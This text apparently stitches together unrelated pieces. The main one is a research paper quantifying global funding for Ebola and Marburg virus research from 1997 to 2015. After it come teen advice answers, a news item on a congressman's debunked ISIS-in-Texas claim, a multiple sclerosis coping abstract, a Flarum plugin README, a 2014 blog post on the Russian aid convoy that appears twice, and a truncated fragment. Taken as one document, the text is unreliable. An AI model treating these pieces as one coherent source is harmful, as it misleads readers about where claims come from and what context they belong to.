Funding for Ebola and Marburg virus research in 1997 to 2015 amounted to US$ 1.035 billion, including US$ 435.4 million (42.0%) awarded in 2014 and 2015. Public sources of funding invested US$ 758.8 million (73.1%), philanthropic sources US$ 65.1 million (6.3%), and joint public/private/philanthropic ventures accounted for US$ 213.8 million (20.6%). Prior to the Ebola outbreak in 2014, pre–clinical research dominated research with US$ 443.6 million (73.9%) investment. After the outbreak, however, investment for new product development increased 942.7–fold and that for clinical trials rose 23.5–fold. Investment in new tools to control Ebola and Marburg virus amounted to US$ 399.1 million, with 61.3% awarded for vaccine research, 29.2% for novel therapeutics research such as antivirals and convalescent blood products, and 9.5% for diagnostics research. Research funding and bibliometric output were moderately associated (Spearman’s ρ = 0.5232, P = 0.0259), however number of Ebola cases in previous outbreaks and research funding (ρ = 0.1706, P = 0.4985) and Ebola cases in previous outbreaks and research output (ρ = 0.3020, P = 0.0616) were poorly correlated.
Conclusion
Significant public and philanthropic funds have been invested in Ebola and Marburg virus research in 2014 and 2015, following the outbreak in West Africa. Long term, strategic vision and leadership are needed to invest in infections with pandemic potential early, including innovative financing measures and open access investment data to promote the development of new therapies and technologies.
The 2014 Ebola outbreak in West Africa is the largest recorded in history, infecting almost 30 000 individuals by January 2016 and killing over 11 000 people [1].
The challenge with emerging infections is managing uncertainty, as there are many unknown epidemiological and pathophysiological factors. Global surveillance systems are incomplete [2], and health systems responses among interdependent countries vary, putting at risk countries bordering others where the response is weak [3]. Experience responding to the HIV, SARS and Avian Influenza H5N1 epidemics suggests that the cost of inaction, and delayed response to emerging infections, can be significant to human health, the global economy, security and stability [4].
The Ebola outbreak epitomises a largely failed global response, with delayed action by leading international agencies. Weak health systems, a lack of information and all but absent surveillance systems in West Africa among Ebola–affected countries have hampered efforts to control the current outbreak. The lack of a licensed vaccine or effective therapeutic drugs has contributed to the uncontrollable surge in cases and inability to control Ebola transmission beyond traditional infection control practices.
As with infection control measures and strong health systems, research and development (R&D) plays an important role in mitigating risk from emerging infections. Funding for R&D in global health and infectious diseases has risen since 2000 [5]. However, several studies from the US [6], United Kingdom (UK) [7], Spain [8], Australia [9] and Norway [10] suggest low levels of R&D funding and a lack of reliable data for neglected diseases and low–income settings [11]. Research also indicates a paucity of funding for other conditions for which there is no sizeable market, for example women during pregnancy and neonates [12,13].
More recently, studies have presented systematic analysis of public and philanthropic financing of infectious disease research in the UK to show a predominant focus on preclinical and laboratory research across a wide range of infections and crosscutting disciplines such as diagnostics, therapeutics, and vaccines [7]. Research funding, however, was not well aligned to disease burden and followed colonial ties rather than need [14]. To our knowledge, there have been no studies quantifying funding for filovirus research.
We present the first systematic analysis of global funding for research and emergency response for Ebola and Marburg virus infections. The primary purpose of the study is to quantify global research funding for filovirus research prior to, and following, the largest recorded outbreak of Ebola virus.
METHODS
Measures of research investment were sourced directly from funding organizations, data on disease burden from the Global Burden of Disease Study 2012, and bibliometric impact from the Elsevier Scopus database. The study forms part of a wider project entitled RESIN: Research Investments in Global Health. A full list of keywords, definitions, categories, sources of funding and data sets are available online (http://www.researchinvestments.org/ebola) and in Appendix S1 of the
Online Supplementary Document(Online Supplementary Document).
We included studies that focused on Ebola infection in humans, or animal studies with a clear zoonotic component. For completeness, we also screened and systematically analyzed research investments for Marburg virus and Cuevavirus, two other related filoviruses, as funding for these viruses are often joint. No studies on filovirus Cuevavirus were identified, and it was therefore excluded from the scope of this analysis.
Data sources and collection
We sourced information from websites, funding organization databases, and the published literature. Data from the UK, European Union (EU) and the US were included for the period of 1997 to 16 April 2015, which represented a 12–month period following the announcement of the outbreak by the WHO. Variables collected included study title, abstract, website, grant type, funding awarded, name and gender of the principal investigator, host institution, year of award and projected duration of project.
In the UK, research funding organisations included the UK Medical Research Council (MRC), the Wellcome Trust, the UK Department for International Development (DFID); in the EU organisations included the European Commission, the European Centre for Disease Prevention and Control (ECDC); and in the US organisations included the National Institutes of Health (NIH), Congressionally Directed Medical Research Programmes (CDMRP), Bill and Melinda Gates Foundation, Paul G. Allen Foundation, Burroughs Wellcome Fund, Doris Duke Charitable Foundation, Howard Hughes Medical Institute, Donaghue Foundation, Ellison Medical Foundation, Arcus Foundation, and the Roy Carver Charitable Trust. The organisations selected represented the leading infectious disease and public health research funders in the respective regions. Variables collected included financial disbursements, project title, website, donor organization, recipient organization, recipient country, and year of award.
Data management
All grant funding amounts were reported in 2015 US dollars (US$). All awards were adjusted for inflation and converted to US dollars, using the mean exchange rate in the year award (http://www.oanda.com). Grants were not modified according to levels of overheads applied to the award. For multi–center studies, the distribution of funding was accounted for, where openly available. Unfunded studies, or studies without a clear funding amount, were excluded. Private sector sources of funding were excluded, as data was not openly available. Channels without a robust data source were excluded from the final analysis.
Data were collected over a period of 7 months, from October 2014 to April 2015. The study title, abstract, and website were used to filter and categorise research studies. All research studies were reviewed by two or more co–authors. Each research award was allocated to one of five R&D categories along with the research pipeline: preclinical research, phase 1, 2, or 3 clinical trials, product development, public health research, and cross–disciplinary research. Public health research included surveillance, epidemiology, modeling, bioinformatics, and operational research. Cross–disciplinary studies were large–scale projects, with significant funds to facilitate two or more subprojects to work in parallel. Duration of research studies was also estimated. Top 3 donors were ranked for each recipient organization.
Statistical analysis
Microsoft Excel 2011 (Microsoft, Seattle WA, USA) was used to categorise the research studies and generation of tables. Statistical analysis and generation of figures and graphs were generated using Stata (version 11.2) (STATA Corp LLP, College Station, Texas, USA). Simple regression analyses were reported using Spearman’s rank correlation coefficient (ρ), to assess the degree of correlation between research investment, disease burden, and bibliometric impact. We used fold differences to compare total investment, number of studies, mean and median grant size.
Role of the funding source
There was no funding source for this study. The corresponding author had full access to all the data in the study and had final responsibility for the decision to submit for publication.
RESULTS
Figure 1 shows the total research investment in Ebola and Marburg virus from 1997 to 2015 in US$, disaggregated by virus, location of award, source of funding, and recipient of funding, respectively.
Figure 1
Total and proportionate investment in research funding by filovirus (A), by geographical location of lead research institution (B), by source of funding (C), and by recipient of funding (D), in 2015 US$, 1997–2015.
The total research funding awarded over the 18–year time period was US$ 1.035 billion, including US$ 435.4 million (42.0%) disbursed in 2014 and 2015 during the West Africa Ebola outbreak. Ebola virus received US$ 652.4 million (63.0%), Marburg virus received US$ 34.9 million (3.4%) and cross–cutting filovirus research received US$ 348.3 million (33.6%).
Relative contributions by Ebola and Marburg virus changed substantially over time, with significant increases in 2003 (from US$ 5.2 million in 2002 to US$ 19.4 in 2003), in 2007 (from US$ 16.5 million in 2006 to US$ 45.7 million in 2007) and in 2014 (from US$ 59.6 million in 2013 to US$ 164.0 million in 2014) respectively (Figure 1).
There is clear dominance in research funding awarded by the US, with large rises in 2014 and the 1st quarter of 2015. Large proportions of global research funding are invested in institutions in the European Union, such as the UK with a total of US$ 152.5 million, Germany with a total of US$ 66.0 million, and France with a total of US$ 49.4 million over the 15–month period January 2014–April 2015. Institutions in the US were awarded a total of US$ 110.1 million during the same time period, predominantly in 2014 (83.2%) (Table 1).
Table 1
Investments by public, private and philanthropic funders for Ebola research
Funding awarded, US$
%
Type of organization
Funding received, US$
%
Ratio investment:award
Public funding:
756 792 968
73.1
Public institution:
346 738 377
33.5
1:0.46
NIH/NIAID
651 044 589
62.9
University
291 139 730
28.1
European Commission
93 822 622
9.1
Research Institute
212 219 525
20.5
German government
4 996 424
0.5
Public Health Institute
63 925 988
6.2
CDC PHPR
4 634 854
0.4
Non–profit organization:
455 291 509
44.0
1:7
CDMRP
2 232 070
0.2
University
287 955 319
27.8
Philanthropic funding:
65 064 309
6.3
Research Institute
80 249 373
7.7
Gates Foundation
52 713 304
5.1
Public Health Institute
60 059 515
5.8
Wellcome Trust
11 085 919
1.1
NGO
20 765 944
2.0
Burroughs Wellcome Fund
601 000
0.1
Hospital
6 261 358
0.6
Ellison Medical Foundation
263 200
0.0
For–profit organization:
233 591 124
22.6
1:2
Paul G. Allen Foundation
170 416
0.0
Biopharmaceuticals
229 370 939
22.1
Arcus Foundation
121 832
0.0
Research Institute
3 491 497
0.3
Roy Carver Charitable Trust
108 638
0.0
Technology
728 688
0.1
Joint funding:
213 763 733
20.6
EFPIA
114 980 222
11.1
European Commission
90 797 873
8.8
Wellcome Trust/DFID/MRC
8 048 047
0.8
Total Ebola research funding
1 035 621 010
100
CDMRP – Congressionally Directed Medical Research Programme, CDC PHPR – CDC Office of Public Health Preparedness and Response, NIH – National Institutes of Health, NIAID – National Institute of Allergy and Infectious Diseases, EFPIA – European Federation of Pharmaceutical Industries and Associations, DFID – UK Department for International Development
Public sources of funding accounted for the majority of total investment in Ebola and Marburg research with US$ 758.8 million (73.1%). Philanthropic sources awarded US$ 65.1 million (6.3%), and joint public–philanthropic or public–private funding accounting for US$ 213.8 million (20.6%), including a further US$ 90.8 million by the European Commission (Table 1).
Publicly funded institutions received a total of US$ 346.7 million (33.5%) research funding. Private, for profit institutions received a total of US$ 233.6 million (22.6%) and philanthropic, non–profit institutions received a total of US$ 455.3 million (44.0%). In other words, for every US$ 1 invested by a public funding source, a public institution received US$ 0.46. For every US$ 1 invested by a private funding source, a for–profit organization received US$ 2.03, and for every US$ 1 invested by a philanthropic funding source, a non–profit organization received US$ 7.00. Universities received the largest investment in Ebola and Marburg virus disbursements with US$ 579.1 million (55.9%) followed by Research Institutions with US$ 296.0 million (28.6%) and biopharmaceutical companies with US$ 229.3 million (22.1%).
Figure 2 shows the research investment according to type of research along the R&D pipeline between 1997–2015. Prior to the outbreak, pre–clinical research dominated research with US$ 443.6 million (73.9%) investment. Per annum investment prior to the Ebola outbreak in West Africa, annual research funding was US$ 35.3 million over a period of 17 years. Following the outbreak, annual research funding increased 9.5–fold to US$ 337.1 million.
Figure 2
Total investment in Ebola and Marburg research by R&D pipeline, in 2015 US$, 1997–2015.
In 2014 and 2015, a 942.7–fold increase in product development and 23.5–fold increase in clinical trials was observed (Table 2). Analyzing data from 1997–2013, there was a moderate association between research funding and research output (ρ = 0.5232, P = 0.0259), however Ebola cases in previous outbreaks and research funding (ρ = 0.1706, P = 0.4985) and Ebola cases in previous outbreaks and research output (ρ = 0.3020, P = 0.0616) were poorly correlated (Figure 3). Investment in innovative technologies for Ebola and Marburg virus amounted to US$ 399.1 million, with 61.3% awarded for vaccine research, 29.2% for novel therapeutics research such as antivirals and convalescent blood products, and 9.5% for diagnostics research (Table 3).
Table 2
Investment in R&D pipeline by focus of Ebola research
1997–2013
2014–2015
US$
%
Per annum
US$
%
Per annum
Fold difference
Preclinical:
443 570 456
73.9
26 092 380
78 755 577
18.1
60 972 060
2.3
Host–pathogen
255 676 031
42.6
15 039 767
21 317 338
4.9
16 503 746
1.1
Non–human primates
204 216 041
34.0
12 012 708
16 560 952
3.8
12 821 382
1.1
Clinical trials:
116 942 041
19.5
6 878 944
208 852 606
48.0
161 692 340
23.5
Phase 1
116 942 041
19.5
6 878 944
153 285 276
35.2
118 672 472
17.3
Phase 2–3
–
–
–
55 567 330
12.8
43 019 868
–
Product development:
1 015 328
0.2
59 725
72 726 099
16.7
56 304 077
942.7
Cross–disciplinary:
11 057 065
1.8
650 416
–
0.0
–
–
Public health research:
27 581 023
4.6
1 622 413
75 120 815
17.3
58 158 050
35.8
Surveillance
19 840 535
3.3
1 167 090
20 260 954
4.7
15 685 900
13.4
Epidemiology
6 329 902
1.1
372 347
5 795 974
1.3
4 487 206
12.1
Modeling
501 655
0.1
29 509
433 870
0.1
335 899
11.4
Bioinformatics
908 931
0.2
53 467
224 085
0.1
173 485
3.2
Operational research
–
–
–
48 405 932
11.1
37 475 560
–
Subtotal
600 165 913
100
35 303 877
435 455 097
100
337 126 527
9.5
Total research funding
1 035 621 010
Figure 3
Research bibliometrics output over time with total Ebola cases per annum between 1977–2013.
Table 3
Investment in innovation in Ebola research by type of institution
Vaccines
Diagnostics
Therapeutics
US$
%
US$
%
US$
%
Total
%
Research Institute
108 615 512
44.4
7 832 065
20.6
21 464 466
18.5
137 912 043
34.6
Biopharmaceuticals
93 932 058
38.4
9 861 635
25.9
27 752 433
23.9
131 546 126
33.0
University
30 429 464
12.4
20 046 125
52.6
60 181 420
51.7
110 657 009
27.7
NGO
11 667 539
4.8
–
–
1 376 869
1.2
13 044 408
3.3
Hospital
–
–
–
–
5 466 616
4.7
5 466 616
1.4
Public Health Institute
–
–
369 008
1.0
94 611
0.1
463 619
0.1
Subtotal
244 644 573
61.3
38 108 833
9.5
116 336 415
29.2
399 089 821
38.5
Total research funding
1 035 621 010
DISCUSSIONImplications of mapping research funding
Emerging infections have the potential to disrupt the global economy and global health, mobilising significant resources over short periods of time. In an effort to learn from the latest Ebola outbreak in West Africa and prevent the next epidemic, data on current investments, coupled with data on disease burden and efficacy of interventions, may provide an enabling environment to strategically allocate scarce resources [15].
We demonstrate significant public and philanthropic funds have been invested in Ebola and Marburg virus research in 2014 and 2015.
Evaluating the impact of R&D is not only good science, but also a social imperative. The responsibility to invest appropriately lies both with researchers, and with funding organisations. Policymakers must work closely with the scientific and funding communities to facilitate channels that provide both the flexibility and the strategic resources to alleviate the burden of emerging infections. Evidence–informed investment is key to allocating resources wisely and fairly. Our analyses provide a first step in aggregating and describing the trends with Ebola and Marburg viruses, in an effort to develop more sensitive methods to evaluate the public health impact of supported research.
What the Ebola crisis in West Africa has demonstrated is the immense repercussions of an outbreak on the stability and social cohesion of a society. The spread of the outbreak is linked to the under–developed and under–resourced health systems preexisting within these countries, but also the imbalance between investments in the diseases that affect individuals in wealthier countries over those living in low–income settings [16].
Proposals for research strategy
New approaches for research during a new epidemic or pandemic are critical, and useful examples include the 2009 NIHR “Rapid Response” research funding for influenza [17], and the 2011 NIHR “Sleeping grants” where protected funding will be activated in the event of a new pandemic [18].
A portfolio of research along the R&D value chain (extending from preclinical and laboratory science, phase 1 and phase 2 clinical trials, large–scale phase 3 and phase for clinical trials, translational studies and evaluations) is required to address the greatest challenges in global health. Investing in the progression and links between these different types of research is essential in order to build on early stage research findings, and translate breakthroughs in the laboratory into reality in health systems where translation and uptake of innovations remains a challenge [19,20]. Operations research is critical to understand how innovations can be effectively scaled up [21,22].
Encouragingly, the scope and volume of potential Ebola diagnostics, therapies and vaccines is broadening (Box 1).
Box 1
Summary of current research for Ebola diagnostics, therapies and vaccines.
Research is currently under way to investigate the therapeutic potential of favipiravir (Toyama Chemical, Japan) and convalescent whole blood and plasma treatment [23]. Clinical trials in Liberia of brincidofovir (Chimerix; NC, USA) with Médecins Sans Frontières and the Wellcome Trust were discontinued due to paucity of numbers recruited. Should these front–runners fail to show promise, 10–15 pre–qualified products may become the next candidates. Zmapp (Mapp Biopharmaceuticals; CA, USA) was not selected as part of the early research candidates due to availability issues.
Efficacy trials for an Ebola vaccine have begun in February 2015, 14 months after the estimated start of the outbreak, using a randomized ring vaccination design adopted with the smallpox eradication campaign [24]. In clarifying their position, Gavi, the Vaccine Alliance, has approved US$ 300 million spending on vaccine procurement and US$ 90 million on strengthening immunisation systems [25]. The overarching aim is to enable vaccine development for emerging infections by recognizing the lack of market potential, building laboratory and outbreak investigation capabilities in country, create repositories of potential agents and catalog immunological properties, and develop vaccine vectors. Two candidates exist: GlaxoSmithKline's ChAd3–ZEBOV and Merck's rVSV–Ebov. Further preclinical vaccine candidates include Johnson & Johnson's recombinant vector regimen, a recombinant nanoparticle vaccine by Novavax, a recombinant influenza vaccine developed by the Russian Ministry of Health, a Venezuela equine encephalitis replicon Ebola vaccine developed by the US Army Medical Research Institute for Infectious Diseases, and possibly a further vaccine developed by the Chinese Army. The imperative to invest in emerging infections or diseases with high mortality rates lies in the fact that suboptimal evidence may be generated during an outbreak, due to the urge to develop therapies without randomized controlled trials. Randomization is essential in Ebola drug trials, as it is with cancer trials [26]. An assumption that a therapy will be effective is inappropriate for generating evidence, and harm may be the price of introducing this bias. Strategic health investment can go a long way to ensuring sufficient innovation in science is being fostered, preventing a reliance on insufficient and potentially wasteful products toward the end of the R&D pipeline.
R&D should also extend beyond vaccines, diagnostics, and antivirals, however. Research into novel, digital surveillance systems is also warranted. Surveillance systems are essential to detect outbreaks of emerging infections, and to mitigate their health, security and economic effects, in all countries [27,28]. The International Health Regulations (IHR) confers responsibilities to WHO member states to develop surveillance systems to detect and respond to public health emergencies, although many are not ready [29]. IHR provides a mandate for global surveillance, a safety net to detect disease outbreaks if they are not detected and/or reported by countries. Responsive health systems and global collaboration is critically important if these infections are to be rapidly contained [30,31]. In 2002, the Global Public Health Intelligence Network, developed by the Public Health Agency of Canada, openly alerted the global health community to SARS 2 months prior to the WHO. In 2014, HealthMap sounded the alarm to an outbreak of unknown etiology in Guinea 9 days before the WHO. Recent work has further highlighted the density of Google Trends searches for Ebola in West Africa, despite inadequate Internet coverage in the region [32]. These factors together highlight the need for research into digital systems for global health security.
Limitations and scope
The primary limitation to this work is the difference in quality of research funding, compared with emergency response funding. Although public and philanthropic research funding is, on the whole, well documented and often openly accessible online, there are clear quality concerns with emergency response funding. For instance, it is difficult to verify disbursements and pledges for emergency response, and this is a notable problem with the latest Ebola outbreak. As published in the Lancet Global Health – the tools “for tracking resources in a crisis are not fit for purpose” [33]. Despite the challenges with emergency response funding, it is important to document the openly published information, systematically analyze the data and start a discussion on next steps in tracking resources during a crisis. We need a robust financial platform to monitor and evaluate investments – with the capacity to cross–talk with research funding commitments. With the re–emergence of Zika virus in the Americas, this needs to occur without delay.
There are also limitations to analyzing global expenditure data search, elaborated in greater detail in a recent article by Young and colleagues [34]. The first is the challenge of comparing data collected from different countries. The Frascati manual attempts to provide some guidance on the data collection and currency adjustments for R&D [35]. Despite some clear guidance, two recent studies highlight the ongoing difficulties with methodology and subsequent impact on interpretation, particularly due to discrepancies in data conversion [36–38]. The second is the lack of indices to convert health R&D expenditure to a single, commonly used currency [38]. One of the main reasons this is important is the comparative difference in the costs of input for R&D in different settings [39]. There are two possible ways of converting to a common currency: current exchange rates, and GDP purchasing power parities (PPPs) [40]. The Frascati manual recommends GDP PPPs, and current exchange rates may underestimate the contributions of countries such India and China, by overstating the costs of R&D. The third is the need to adjust investment over time, in order to account for the potential role of inflation. There is currently no index specific for health R&D and the Frascati manual advocates for using the GDP price index, with the limitation that is not specific for R&D. The special R&D deflator is an index adopted by the US National Institutes of Health and may be adopted for high–income settings [41]. Using this index for settings with high inflation will overestimate respective contributions, and vice versa. The fourth challenge relates to the need first to deflate data in national currency, then to covert the adjusted data to a common currency using a selected base year [42]. Altering data using another mechanism may skew the data inappropriately and alter the comparability between settings. Fifth, our study is likely to underestimate research funding, partly due to the lack of openly available data from the pharmaceutical industry. Sixth challenge relates to difficulties in ascertaining the right proportion of a grant allocated to a specific disease, when there are multiple research sites and conditions researched, which is not uncommon for co–infection studies.
Strategic coordination of research funding
A Global Observatory on health R&D has been proposed by member states of the sixty–sixth World Health Assembly in 2013 to “provide a mechanism to monitor and analyse relevant existing information on health R&D, including resource flows, product pipelines, and research outputs, with a view to contributing to the identification of gaps and opportunities for health R&D and to inform priority–setting for new R&D investments based on the public health needs of the world’s poorest countries” [43,44].
A clear, open source repository for R&D investment data could address the problem by showing the funding landscape of both clinical and non–clinical studies in real time [45]. Gaps in the data highlight the need for a global health R&D observatory. Innovations in reporting will help improve priority setting to address burden of disease in low– and middle–income settings. Interpreting disease burden data in the context of R&D funding data are an essential step in the equitable allocation of health investments. Whether the observatory should be run by the WHO or by another institution or consortium, however, remains for debate.
CONCLUSIONS
Over 20 years after a landmark publication by the Institute of Medicine, emerging and re–emerging infectious diseases continue pose a serious threat globally to human and animal health, security and economy [46]. Health and financial resources need to be allocated and available swiftly during a pandemic or emerging infectious disease outbreak to ensure appropriate control. The global health community needs to develop an evidence–base for health research and policy, in particular around priority setting for health R&D, decision making for funding, evaluating innovation and research pipelines, assessing research outputs and networks, and forecasting future needs and corresponding investment. Strategic funding is required for inter–pandemic research, pre–pandemic research and established pandemic research.
Acknowledgments
We thank the Infectious Disease Research Network, for their contributions to RESIN: Research Investments in Global Health. We acknowledge the assistance of the research and development funding agencies for provisions of data.
Funding: None.
Authorship declaration: JRAF designed the study, managed the research project, undertook data analysis, contributed to the interpretation of the data, and drafted the article. AmL, DTS, ArL and JVDO assisted with data collection and analysis. MGH and RA made significant contributions to developing methods for data analysis, interpreting the data, and writing the article. All authors reviewed and approved the final version. JRAF is guarantor of the paper.
Competing interests: RA has received research funding from the Medical Research Council, the National Institute for Health Research and the UK Department for International Development. RA is a member of the Medical Research Council Global Health Group. MGH works for the Infectious Disease Research Network, which has supported this work and is funded by the UK Department of Health. JRAF has received funds from the Wellcome Trust and the Bill & Melinda Gates Foundation, and is a steering group member for the Infectious Disease Research Network.All authors have completed the ICMJE uniform disclosure form at http://www.icmje.org/coi_disclosure.pdf (available upon request from the corresponding author) and declare no conflicts of interest.
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Department of Health. UK Influenza Pandemic Preparedness Strategy 2011. London, 2011. Available: https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/213717/dh_131040.pdf. Accessed: 28 January 2011.
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34YoungAJTerryRFRøttingenJAViergeverRFGlobal trends in health research and development expenditures – the challenge of making reliable estimates for international comparison.Health Res Policy Syst201513710.1186/1478-4505-13-72561814735OECD. Annex 4 R&D Related to Health, Information Technology and Biotechnology. In: Scientific and Technological Activities. Frascati Manual 2002. Proposed Standard Practice for Surveys on Research and Experimental Development. OECD Publications Service; Paris France. p. 181–7.36ChakmaJSunGHSteinbergJDSammutSMJagsiRAsia’s ascent – global trends in biomedical R&D expenditures.N Engl J Med20143703610.1056/NEJMp13110682438206237YoungAJTerryRFRøttingenJAViergeverRFGlobal biomedical R&D expenditures.N Engl J Med2014370245110.1056/NEJMc14051762494119438Dougherty SM, Inklaar R, McGuckin RH, van Ark BI. International comparisons of R&D expenditure: does an R&D PPP make a difference? Cambridge, MA: National Bureau of Economics; 2007.39OECD. Chapter 6 Measurement of Expenditures Devoted to R&D. In: Scientific and Technological Activities. Frascati Manual 2002. Proposed Standard Practice for Surveys on Research and Experimental Development. Reconciling Differences in Performer–Based and Source–Based Reporting. 2002. OECD Publication Service; Paris, France. p. 119–20.40Eurostat–OECD. UROSTAT–OECD Methodological manual on purchasing power parities. Luxembourg: Publications Office of the European Union; 2012.41NIH. Biomedical Research and Development Price Index (BRDPI): Fiscal Year 2012 Update and Projections for FY 2013–FY 2018. Bethesda, USA: National Institutes of Health; 2013.42OECD. Annex 9 R&D Deflators and Currency Converters. In: The Measurement of Scientific and Technological Activities. Frascati Manual 2002. Proposed Standard Practice for Surveys on Research and Experimental Development. OECD Publication Service; Paris, France. p. 217–25.43AdamTRøttingenJAKienyMPInforming the establishment of the WHO Global Observatory on Health Research and Development: a call for papers.Health Res Policy Syst201513910.1186/1478-4505-13-92564500044TerryRFSalmJFJrNanneiCDyeCCreating a global observatory for health R&D.Science20143451302410.1126/science.12587372521462145FitchettJRRegmiSInvestment in antibiotics against pneumonia.Lancet Infect Dis201515376710.1016/S1473-3099(15)70082-42580988946IOM. Emerging infections: microbial threats to health in the United States. Institute of Medicine. Washington DC, 1992.Additional Material |
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Talk to your parents about it. Tell them you didn't like your Christmas gift, and don't let your brother boss you around. Your parents can, your brother can't. Your parents gave you life, sorry to tell you but they can do anything they want if it's legal. But your brother can't. Let your parents know that you shouldn't have gotten in trouble for the stuff he doesn't. Tell them he makes you feel really awful and you don't like it. If they're good people they'll understand.
I would stop being friends with her. I mean she should understand that it'd be mean to do that. It's hard to help your friend get through a breakup when you're dating the same person. Plus you don't even know if she was trying to break you guys up so she could be with him.
Talk to your friend. Tell her that this is the first guy that's ever liked you but you don't want her to get mad at you for stealing him from her. But understand she likes him too so don't get mad if she doesn't want you dating him. Nicely decide which of you should get him instead of the other. Chances are she might be thinking the same thing. |
In an interview last month with conservative radio host Rusty Humphries, Rep. Dave Brat said that the terrorist group ISIS has set up a base in Texas.
Apparently referring to a debunked report from a right-wing group about an ISIS camp near the Texas border, the Virginia Republican told Humphries, “In our country, now it looks like we have an ISIS center in Texas now that’s been reported last week.”
Brat also warned of “2,000 un-vetted people coming across the border from Syria, the home of ISIS.” The U.S. is planning to admit 2,000 refugees from Syria’s civil war this year, who will be screened by the State Department and the Department of Homeland Security.
“You can’t make up what a terrible problem this is,” he said, “and the political parties are just blind to it because the money, it causes blinders on their eyes. They can’t see reality clearly.” |
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Coping strategies and adjustment to multiple sclerosis among recently diagnosed patients: the mediating role of sense of coherence.
To examine the relationship between coping strategies (problem solving, emotional release, and avoidance) and adjustment (health-related quality of life, depression, and affective well-being) in a group of recently diagnosed multiple sclerosis patients (up to three years since diagnosis), and to explore the mediating role of sense of coherence between coping strategies and adjustment. Cross-sectional. Multiple Sclerosis Clinic Centre. A total of 102 patients (61.8% women; age (years): M = 35.8, SD = 11.9; 95% with a relapsing-remitting form of multiple sclerosis; Expanded Disability Status Scale score, between 1 and 4). Not applicable. Coping with multiple sclerosis (problem solving, emotional release, and avoidance), sense of coherence, health-related quality of life (SF-12), depression (CES-D), and affective well-being (PANAS). Problem solving was linked to higher mental health ( β = 0.28) and higher affective well-being ( β = 0.36), emotional release was related to lower depression ( β = -0.22); avoidance was associated to higher mental health ( β = 0.25), higher affective well-being ( β = 0.24), and lower depression ( β = -0.29 ) (all betas were significant at p < 0.05). Sense of coherence mediated the relationship between emotional release and depression (Sobel z-value = -2.00; p < 0.05) and the relationship between avoidance and all the indicators of adjustment (mental health: Sobel z-value = 1.97; depression: Sobel z-value = -2.02; affective well-being: Sobel z-value= 2.05; p < 0.05). Emotional and avoidant coping strategies seem to be adaptive among recently diagnosed multiple sclerosis patients. A mediating role between coping strategies and adjustment is played by sense of coherence. |
# No Slug
This plugin is provided for CJK users.
CJK users usually have some CJK characters in theirs title.
When generating slug with title, it will be a bit terrible.
This plugin can change omit title from url.
For example, you have a discussion which title is "欢迎使用Flarum",
You will get a url like "/d/233" instead of "/d/233-Flarum".
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22 August 2014
Russian Aid Rolling Towards Lugansk - TTG
Aug 22 (Reuters) - Ukraine said on Friday the entry of Russian aid trucks onto its territory was a "flagrant violation" of international law and it appealed to the international community to condemn Russia's actions as illegal and aggressive. The foreign ministry said in a statement that, while Ukrainian authorities had not given the convoy permission to enter, it had been allowed to cross the border to avoid further provocative action.
Earlier, Kiev said Russia had launched a direct invasion of its territory by sending the convoy into eastern Ukraine, where pro-Russian rebels are fighting government forces. "We call upon all international partners to unite in decisively condemning Russia's illegal and aggressive actions," the ministry said in a statement. "In order to avoid provocations we gave all the necessary commands for the safe passage of the convoy ... We consider this another flagrant violation by Russia of the main principles of international law."
According to the Ukrainian border service, 145 trucks had crossed the border from Russia by 1030 GMT. Ukrainian state security chief Valentyn Nalivaychenko told journalists that the convoy's entry represented a "direct invasion" of Ukraine by the Russian Federation. He said Ukrainian forces would not attack it, though its security could not be guaranteed by Kiev because of fighting by pro-Russian separatists in the east, where the convoy was moving towards the Luhansk region.
-----------------------------------
I wonder if the Russians planned this all along. Roll the aid convoy across the border and into Lugansk just in time for the Ukrainian Independence Day celebration. This is a real turd in the punchbowl for Kiev, especially since they've been reporting for days that their troops have Lugansk totally surrounded and half taken. Andrew Roth, a reporter for the NYT Moscow Bureau was in Krasnodon and saw the convoy turn onto smaller country roads on their way to Lugansk. That’s why the trucks are only half full. Fully laden semis are not appropriate for country roads. The rebels have assigned a battalion sized unit to provide security for the convoy. Will Russia suppress Ukrainian artillery fire as needed? Will they use counter battery fire or will the polite men in green not be so polite to the Ukie cannon cockers?
For some reason Roth returned to Russia after seeing the convoy pass in Krasnodon. Why not stick with it? It should be a good story. The two reporters from the Guardian and the Telegraph who earlier reported on the Russian BTR 80 convoy are strangely quiet about the movement of the aid convoy into Ukrainian territory. Well, I guess they got their marching orders.
Comments
Russian Aid Rolling Towards Lugansk - TTG
Aug 22 (Reuters) - Ukraine said on Friday the entry of Russian aid trucks onto its territory was a "flagrant violation" of international law and it appealed to the international community to condemn Russia's actions as illegal and aggressive. The foreign ministry said in a statement that, while Ukrainian authorities had not given the convoy permission to enter, it had been allowed to cross the border to avoid further provocative action.
Earlier, Kiev said Russia had launched a direct invasion of its territory by sending the convoy into eastern Ukraine, where pro-Russian rebels are fighting government forces. "We call upon all international partners to unite in decisively condemning Russia's illegal and aggressive actions," the ministry said in a statement. "In order to avoid provocations we gave all the necessary commands for the safe passage of the convoy ... We consider this another flagrant violation by Russia of the main principles of international law."
According to the Ukrainian border service, 145 trucks had crossed the border from Russia by 1030 GMT. Ukrainian state security chief Valentyn Nalivaychenko told journalists that the convoy's entry represented a "direct invasion" of Ukraine by the Russian Federation. He said Ukrainian forces would not attack it, though its security could not be guaranteed by Kiev because of fighting by pro-Russian separatists in the east, where the convoy was moving towards the Luhansk region.
-----------------------------------
I wonder if the Russians planned this all along. Roll the aid convoy across the border and into Lugansk just in time for the Ukrainian Independence Day celebration. This is a real turd in the punchbowl for Kiev, especially since they've been reporting for days that their troops have Lugansk totally surrounded and half taken. Andrew Roth, a reporter for the NYT Moscow Bureau was in Krasnodon and saw the convoy turn onto smaller country roads on their way to Lugansk. That’s why the trucks are only half full. Fully laden semis are not appropriate for country roads. The rebels have assigned a battalion sized unit to provide security for the convoy. Will Russia suppress Ukrainian artillery fire as needed? Will they use counter battery fire or will the polite men in green not be so polite to the Ukie cannon cockers?
For some reason Roth returned to Russia after seeing the convoy pass in Krasnodon. Why not stick with it? It should be a good story. The two reporters from the Guardian and the Telegraph who earlier reported on the Russian BTR 80 convoy are strangely quiet about the movement of the aid convoy into Ukrainian territory. Well, I guess they got their marching orders. |
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TRIABRAIN Signals
THE LEPOINT BRAIN THEORY:
